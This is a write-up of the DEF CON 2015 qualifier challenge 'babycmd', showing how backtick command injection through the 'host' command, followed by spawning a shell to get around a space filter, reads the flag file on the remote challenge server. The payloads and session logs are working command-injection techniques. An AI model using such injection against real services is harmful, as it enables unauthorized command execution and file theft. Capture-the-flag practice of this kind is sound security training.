DefConCTF 2015 babycmd Writeup Point = 1 Category = Pwnable
As you may now defconctf started 2 days ago, so we participated and you can check our solutions right here.
OK, So there was 4 problem categories: Baby's first, Pwning, Coding, Reverse and Misc.
This is babycmd writeup as you can see below,
–
There was a binary babycmd_3ad28b10e8ab283d7df81795075f600b by following properties:
12345
$ file babycmd_3ad28b10e8ab283d7df81795075f600b
babycmd_3ad28b10e8ab283d7df81795075f600b: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped
$ checksec.sh --file babycmd_3ad28b10e8ab283d7df81795075f600b
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH babycmd_3ad28b10e8ab283d7df81795075f600b
This is so much for 1 point task, but you know this is DEFCON.
by running the binary, it was a wrapper providing 3 functionalites: ping, host, dig
1234567891011121314151617
$ ./babycmd_3ad28b10e8ab283d7df81795075f600b
Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
: ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
--- 8.8.8.8 ping statistics ---
3 packets transmitted, 0 received, 100 0x56191abe7100acket loss, time 2016ms
Commands: ping, dig, host, exit
: host hamidx9.ir
hamidx9.ir has address 104.28.29.35
hamidx9.ir has address 104.28.28.35
hamidx9.ir has IPv6 address 2400:cb00:2048:1::681c:1c23
Commands: ping, dig, host, exit
:
as strace says, it seems it parses the input and filter it and then try to execute!
Basicly with executing word i always look for a filter bypass and execute arbitrary commands. but 0x56191abe7100acket in the ping command got my attention.
It’s time to open the binary in IDA:
6 main functions: sub_F5C: parse and execute dig sub_10BD: parse and execute host sub_E35: parse and execute ping sub_121E: main() sub_D65: parse the input sub_DCC: filter the input
i just noticed that it filters some bytes but not chr(0x60) which can be used to execute command and tried some tests on input.
finally i could run command like this:
1234567891011121314
$ ./babycmd_3ad28b10e8ab283d7df81795075f600b
Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
: host l`ls`l
host: 'lbabycmd_3ad28b10e8ab283d7df81795075f600b
babycmd_3ad28b10e8ab283d7df81795075f600b.id0
babycmd_3ad28b10e8ab283d7df81795075f600b.id1
babycmd_3ad28b10e8ab283d7df81795075f600b.id2
babycmd_3ad28b10e8ab283d7df81795075f600b.nam
babycmd_3ad28b10e8ab283d7df81795075f600b.til
logl' is not a legal name (label too long)
Commands: ping, dig, host, exit
:
but trying something like this host l`ls /home/`l can be seen below:
123456
Commands: ping, dig, host, exit
: host l`ls /home/`l
sh: 1: ls/home/: not found
Host ll not found: 3(NXDOMAIN)
Commands: ping, dig, host, exit
:
it filters space, so i can’t run any command.
but instead of reversing the filter function, i can use sh, aren’t i :)) ?
So here’s my points:
enter host l`sh`l as command
enter: cat /home/babycmd/flag
Press Ctrl+D
Press Ctrl+C
So here we go:
12345678
$ nc babycmd_3ad28b10e8ab283d7df81795075f600b.quals.shallweplayaga.me 15491
Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
: host l`sh`l
cat /home/babycmd/flag [Enter] [Ctrl+D]
: host: 'lThe flag is: Pretty easy eh!!~ Now let's try something hArd3r, shallwe??1' is not in legal name syntax (label too long)
Commands: ping, dig, host, exit
: ^C